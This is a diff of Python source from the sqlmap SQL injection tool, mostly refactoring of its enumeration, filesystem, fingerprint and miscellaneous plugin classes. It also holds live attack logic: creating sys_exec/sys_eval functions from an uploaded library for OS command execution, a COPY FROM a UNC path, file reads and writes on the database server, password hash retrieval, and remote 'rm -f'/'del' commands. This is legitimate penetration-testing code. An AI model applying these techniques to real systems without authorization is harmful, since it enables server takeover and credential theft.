|
||||||
if len(self.udfToCreate) > 0:
|
|
||||||
# On Windows
|
|
||||||
if kb.os == "Windows":
|
|
||||||
# The DLL can be in any folder where postgres user has
|
|
||||||
# read/write/execute access is valid
|
|
||||||
# NOTE: by not specifing any path, it will save into the
|
|
||||||
# data directory, on PostgreSQL 8.3 it is
|
|
||||||
# C:\Program Files\PostgreSQL\8.3\data.
|
|
||||||
dFile = "%s.%s" % (lib, libExt)
|
|
||||||
|
|
||||||
# On Linux
|
|
||||||
else:
|
|
||||||
# The SO can be in any folder where postgres user has
|
|
||||||
# read/write/execute access is valid
|
|
||||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
|
||||||
|
|
||||||
self.writeFile(wFile, dFile, "binary", False)
|
|
||||||
|
|
||||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
|
||||||
if udf in self.createdUdf:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if udf in self.udfToCreate:
|
|
||||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
|
||||||
|
|
||||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
|
||||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
||||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
|
||||||
else:
|
|
||||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
|
||||||
|
|
||||||
self.createdUdf.add(udf)
|
|
||||||
|
|
||||||
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
debugMsg = "creating a support table to write commands standard "
|
|
||||||
debugMsg += "output to"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|||||||
@@ -22,14 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import parsePasswordHash
|
from lib.core.common import parsePasswordHash
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -38,7 +37,6 @@ from lib.core.data import temp
|
|||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.session import setOs
|
from lib.core.session import setOs
|
||||||
from lib.core.settings import SQL_STATEMENTS
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
@@ -46,11 +44,9 @@ from lib.core.shell import autoCompletion
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.parse.banner import bannerParser
|
from lib.parse.banner import bannerParser
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class Enumeration:
|
class Enumeration:
|
||||||
"""
|
"""
|
||||||
This class defines generic enumeration functionalities for plugins.
|
This class defines generic enumeration functionalities for plugins.
|
||||||
@@ -72,11 +68,9 @@ class Enumeration:
|
|||||||
|
|
||||||
temp.inference = queries[dbms].inference
|
temp.inference = queries[dbms].inference
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def getVersionFromBanner(self):
|
def getVersionFromBanner(self):
|
||||||
if "dbmsVersion" in kb.bannerFp:
|
if "dbmsVersion" in kb.bannerFp:
|
||||||
return
|
return
|
||||||
@@ -101,7 +95,6 @@ class Enumeration:
|
|||||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
if not conf.getBanner:
|
if not conf.getBanner:
|
||||||
return
|
return
|
||||||
@@ -132,7 +125,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.banner
|
return kb.data.banner
|
||||||
|
|
||||||
|
|
||||||
def getCurrentUser(self):
|
def getCurrentUser(self):
|
||||||
infoMsg = "fetching current user"
|
infoMsg = "fetching current user"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -144,7 +136,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.currentUser
|
return kb.data.currentUser
|
||||||
|
|
||||||
|
|
||||||
def getCurrentDb(self):
|
def getCurrentDb(self):
|
||||||
infoMsg = "fetching current database"
|
infoMsg = "fetching current database"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -156,7 +147,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.currentDb
|
return kb.data.currentDb
|
||||||
|
|
||||||
|
|
||||||
def isDba(self):
|
def isDba(self):
|
||||||
infoMsg = "testing if current user is DBA"
|
infoMsg = "testing if current user is DBA"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -167,7 +157,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.isDba == "1"
|
return kb.data.isDba == "1"
|
||||||
|
|
||||||
|
|
||||||
def getUsers(self):
|
def getUsers(self):
|
||||||
infoMsg = "fetching database users"
|
infoMsg = "fetching database users"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -219,7 +208,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedUsers
|
return kb.data.cachedUsers
|
||||||
|
|
||||||
|
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
infoMsg = "fetching database users password hashes"
|
infoMsg = "fetching database users password hashes"
|
||||||
|
|
||||||
@@ -341,7 +329,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedUsersPasswords
|
return kb.data.cachedUsersPasswords
|
||||||
|
|
||||||
|
|
||||||
def __isAdminFromPrivileges(self, privileges):
|
def __isAdminFromPrivileges(self, privileges):
|
||||||
# In PostgreSQL the usesuper privilege means that the
|
# In PostgreSQL the usesuper privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
@@ -361,7 +348,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return dbaCondition
|
return dbaCondition
|
||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
infoMsg = "fetching database users privileges"
|
infoMsg = "fetching database users privileges"
|
||||||
|
|
||||||
@@ -628,7 +614,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||||
|
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
warnMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
@@ -683,7 +668,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedDbs
|
return kb.data.cachedDbs
|
||||||
|
|
||||||
|
|
||||||
def getTables(self):
|
def getTables(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
@@ -778,7 +762,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
|
|
||||||
def getColumns(self, onlyColNames=False):
|
def getColumns(self, onlyColNames=False):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
@@ -898,7 +881,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
|
|
||||||
def dumpTable(self):
|
def dumpTable(self):
|
||||||
if not conf.tbl:
|
if not conf.tbl:
|
||||||
errMsg = "missing table parameter"
|
errMsg = "missing table parameter"
|
||||||
@@ -1000,7 +982,7 @@ class Enumeration:
|
|||||||
|
|
||||||
if conf.dumpAll:
|
if conf.dumpAll:
|
||||||
logger.warn(errMsg)
|
logger.warn(errMsg)
|
||||||
return kb.data.dumpedTable
|
return None
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
@@ -1062,13 +1044,12 @@ class Enumeration:
|
|||||||
|
|
||||||
if conf.dumpAll:
|
if conf.dumpAll:
|
||||||
logger.warn(errMsg)
|
logger.warn(errMsg)
|
||||||
return kb.data.dumpedTable
|
return None
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
return kb.data.dumpedTable
|
return kb.data.dumpedTable
|
||||||
|
|
||||||
|
|
||||||
def dumpAll(self):
|
def dumpAll(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
@@ -1094,10 +1075,8 @@ class Enumeration:
|
|||||||
if data:
|
if data:
|
||||||
dumper.dbTableValues(data)
|
dumper.dbTableValues(data)
|
||||||
|
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
output = None
|
output = None
|
||||||
selectQuery = True
|
|
||||||
sqlType = None
|
sqlType = None
|
||||||
|
|
||||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
@@ -1105,9 +1084,6 @@ class Enumeration:
|
|||||||
if query.lower().startswith(sqlStatement):
|
if query.lower().startswith(sqlStatement):
|
||||||
sqlType = sqlTitle
|
sqlType = sqlTitle
|
||||||
|
|
||||||
if sqlTitle != "SQL SELECT statement":
|
|
||||||
selectQuery = False
|
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
message = "do you want to retrieve the SQL statement output? "
|
message = "do you want to retrieve the SQL statement output? "
|
||||||
@@ -1122,10 +1098,12 @@ class Enumeration:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
else:
|
else:
|
||||||
if kb.stackedTest == None:
|
query = urlencode(query, convall=True)
|
||||||
|
|
||||||
|
if kb.stackedTest is None:
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
if sqlType:
|
if sqlType:
|
||||||
@@ -1143,7 +1121,6 @@ class Enumeration:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
@@ -1177,7 +1154,7 @@ class Enumeration:
|
|||||||
if output and output != "Quit":
|
if output and output != "Quit":
|
||||||
dumper.string(query, output)
|
dumper.string(query, output)
|
||||||
|
|
||||||
elif output == False:
|
elif not output:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
elif output != "Quit":
|
elif output != "Quit":
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import os
|
import os
|
||||||
|
|
||||||
@@ -31,10 +29,8 @@ from lib.core.agent import agent
|
|||||||
from lib.core.common import dataToOutFile
|
from lib.core.common import dataToOutFile
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
@@ -48,36 +44,21 @@ class Filesystem:
|
|||||||
self.fileTblName = "sqlmapfile"
|
self.fileTblName = "sqlmapfile"
|
||||||
self.tblField = "data"
|
self.tblField = "data"
|
||||||
|
|
||||||
|
|
||||||
def __unbase64String(self, base64Str):
|
def __unbase64String(self, base64Str):
|
||||||
unbase64Str = ""
|
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||||
|
|
||||||
if isinstance(base64Str, (list, tuple, set)):
|
|
||||||
for chunk in base64Str:
|
|
||||||
if isinstance(chunk, (list, tuple, set)):
|
|
||||||
chunk = chunk[0]
|
|
||||||
|
|
||||||
unbase64Str += "%s\n" % chunk.decode("base64")
|
|
||||||
else:
|
|
||||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
|
||||||
|
|
||||||
return unbase64Str
|
return unbase64Str
|
||||||
|
|
||||||
|
|
||||||
def __unhexString(self, hexStr):
|
def __unhexString(self, hexStr):
|
||||||
unhexStr = ""
|
if len(hexStr) % 2 != 0:
|
||||||
|
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||||
|
errMsg += "hexadecimal string which it is not able to convert "
|
||||||
|
errMsg += "to raw string"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
if isinstance(hexStr, (list, tuple, set)):
|
return hexStr
|
||||||
for chunk in hexStr:
|
|
||||||
if isinstance(chunk, (list, tuple, set)):
|
|
||||||
chunk = chunk[0]
|
|
||||||
|
|
||||||
unhexStr += binascii.unhexlify(chunk)
|
|
||||||
else:
|
|
||||||
unhexStr = binascii.unhexlify(hexStr)
|
|
||||||
|
|
||||||
return unhexStr
|
|
||||||
|
|
||||||
|
return binascii.unhexlify(hexStr)
|
||||||
|
|
||||||
def __binDataToScr(self, binaryData, chunkName):
|
def __binDataToScr(self, binaryData, chunkName):
|
||||||
"""
|
"""
|
||||||
@@ -115,7 +96,6 @@ class Filesystem:
|
|||||||
|
|
||||||
return fileLines
|
return fileLines
|
||||||
|
|
||||||
|
|
||||||
def __checkWrittenFile(self, wFile, dFile, fileType):
|
def __checkWrittenFile(self, wFile, dFile, fileType):
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms == "MySQL":
|
||||||
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
||||||
@@ -124,10 +104,10 @@ class Filesystem:
|
|||||||
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
||||||
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
||||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
|
||||||
|
|
||||||
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
||||||
|
|
||||||
@@ -155,7 +135,6 @@ class Filesystem:
|
|||||||
warnMsg += "privileges in the destination path"
|
warnMsg += "privileges in the destination path"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def fileToSqlQueries(self, fcEncodedList):
|
def fileToSqlQueries(self, fcEncodedList):
|
||||||
"""
|
"""
|
||||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||||
@@ -176,7 +155,6 @@ class Filesystem:
|
|||||||
|
|
||||||
return sqlQueries
|
return sqlQueries
|
||||||
|
|
||||||
|
|
||||||
def fileEncode(self, fileName, encoding, single):
|
def fileEncode(self, fileName, encoding, single):
|
||||||
"""
|
"""
|
||||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||||
@@ -184,10 +162,10 @@ class Filesystem:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
fcEncodedList = []
|
fcEncodedList = []
|
||||||
fp = open(fileName, "rb")
|
fp = open(fileName, "rb")
|
||||||
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
||||||
|
|
||||||
if single == False:
|
if not single:
|
||||||
fcLength = len(fcEncodedStr)
|
fcLength = len(fcEncodedStr)
|
||||||
|
|
||||||
if fcLength > 1024:
|
if fcLength > 1024:
|
||||||
@@ -214,8 +192,7 @@ class Filesystem:
|
|||||||
|
|
||||||
return fcEncodedList
|
return fcEncodedList
|
||||||
|
|
||||||
|
def updateBinChunk(self, binaryData, tmpPath):
|
||||||
def updateBinChunk(self, binaryData, dFile, tmpPath):
|
|
||||||
"""
|
"""
|
||||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||||
back-end DBMS underlying file system
|
back-end DBMS underlying file system
|
||||||
@@ -264,17 +241,15 @@ class Filesystem:
|
|||||||
|
|
||||||
return chunkName
|
return chunkName
|
||||||
|
|
||||||
|
|
||||||
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
||||||
message = "do you want confirmation that the file '%s' " % dFile
|
message = "do you want confirmation that the file '%s' " % dFile
|
||||||
message += "has been successfully written on the back-end DBMS "
|
message += "has been successfully written on the back-end DBMS "
|
||||||
message += "file system? [Y/n] "
|
message += "file system? [Y/n] "
|
||||||
output = readInput(message, default="Y")
|
output = readInput(message, default="Y")
|
||||||
|
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
fileContent = None
|
fileContent = None
|
||||||
|
|
||||||
@@ -282,7 +257,7 @@ class Filesystem:
|
|||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
debugMsg = "going to read the file with UNION query SQL "
|
debugMsg = "going to read the file with UNION query SQL "
|
||||||
debugMsg += "injection technique"
|
debugMsg += "injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -295,10 +270,20 @@ class Filesystem:
|
|||||||
|
|
||||||
fileContent = self.stackedReadFile(rFile)
|
fileContent = self.stackedReadFile(rFile)
|
||||||
|
|
||||||
if fileContent == None:
|
if fileContent in ( None, "" ):
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
elif isinstance(fileContent, (list, tuple, set)):
|
||||||
|
newFileContent = ""
|
||||||
|
|
||||||
|
for chunk in fileContent:
|
||||||
|
if isinstance(chunk, (list, tuple, set)):
|
||||||
|
chunk = chunk[0]
|
||||||
|
|
||||||
|
newFileContent += chunk
|
||||||
|
|
||||||
|
fileContent = newFileContent
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||||
fileContent = self.__unhexString(fileContent)
|
fileContent = self.__unhexString(fileContent)
|
||||||
@@ -312,13 +297,12 @@ class Filesystem:
|
|||||||
|
|
||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
debugMsg = "going to upload the %s file with " % fileType
|
debugMsg = "going to upload the %s file with " % fileType
|
||||||
debugMsg += "UNION query SQL injection technique"
|
debugMsg += "UNION query SQL injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|||||||
@@ -22,36 +22,30 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
|
|
||||||
|
|
||||||
class Fingerprint:
|
class Fingerprint:
|
||||||
"""
|
"""
|
||||||
This class defines generic fingerprint functionalities for plugins.
|
This class defines generic fingerprint functionalities for plugins.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression):
|
def unescape(expression, quote=True):
|
||||||
errMsg = "'unescape' method must be defined "
|
errMsg = "'unescape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
errMsg = "'escape' method must be defined "
|
errMsg = "'escape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
errMsg = "'getFingerprint' method must be defined "
|
errMsg = "'getFingerprint' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
errMsg = "'checkDbms' method must be defined "
|
errMsg = "'checkDbms' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
|||||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -46,12 +44,15 @@ class Miscellaneous:
|
|||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
# NOTES:
|
# NOTES:
|
||||||
#
|
#
|
||||||
# * MySQL runs by default as SYSTEM and the system-wide
|
# * The system-wide temporary files directory is
|
||||||
# temporary files directory is C:\WINDOWS\Temp
|
# C:\WINDOWS\Temp
|
||||||
|
#
|
||||||
|
# * MySQL runs by default as SYSTEM
|
||||||
#
|
#
|
||||||
# * PostgreSQL runs by default as postgres user and the
|
# * PostgreSQL runs by default as postgres user and the
|
||||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||||
# however the system-wide folder is writable too
|
# however the system-wide folder is writable too
|
||||||
|
#
|
||||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||||
#infoMsg += "directory"
|
#infoMsg += "directory"
|
||||||
#logger.info(infoMsg)
|
#logger.info(infoMsg)
|
||||||
@@ -69,20 +70,33 @@ class Miscellaneous:
|
|||||||
|
|
||||||
setRemoteTempPath()
|
setRemoteTempPath()
|
||||||
|
|
||||||
|
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
def createSupportTbl(self, tblName, tblField, tblType):
|
if kb.os == "Windows":
|
||||||
inject.goStacked("DROP TABLE %s" % tblName)
|
if doubleslash:
|
||||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
tempFile = tempFile.replace("/", "\\\\")
|
||||||
|
else:
|
||||||
|
tempFile = tempFile.replace("/", "\\")
|
||||||
|
|
||||||
|
cmd = "del /F /Q %s" % tempFile
|
||||||
|
else:
|
||||||
|
cmd = "rm -f %s" % tempFile
|
||||||
|
|
||||||
def cleanup(self, onlyFileTbl=False):
|
self.execCmd(cmd, forgeCmd=True)
|
||||||
|
|
||||||
|
def createSupportTbl(self, tblName, tblField, tblType):
|
||||||
|
inject.goStacked("DROP TABLE %s" % tblName)
|
||||||
|
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||||
|
|
||||||
|
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||||
"""
|
"""
|
||||||
Cleanup database from sqlmap create tables and functions
|
Cleanup database from sqlmap create tables and functions
|
||||||
"""
|
"""
|
||||||
|
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
@@ -94,32 +108,36 @@ class Miscellaneous:
|
|||||||
else:
|
else:
|
||||||
libtype = "shared library"
|
libtype = "shared library"
|
||||||
|
|
||||||
if onlyFileTbl == True:
|
if onlyFileTbl:
|
||||||
logger.debug("cleaning up the database management system")
|
logger.debug("cleaning up the database management system")
|
||||||
else:
|
else:
|
||||||
logger.info("cleaning up the database management system")
|
logger.info("cleaning up the database management system")
|
||||||
|
|
||||||
logger.debug("removing support tables")
|
logger.debug("removing support tables")
|
||||||
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
||||||
|
|
||||||
if onlyFileTbl == False:
|
if not onlyFileTbl:
|
||||||
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
||||||
|
|
||||||
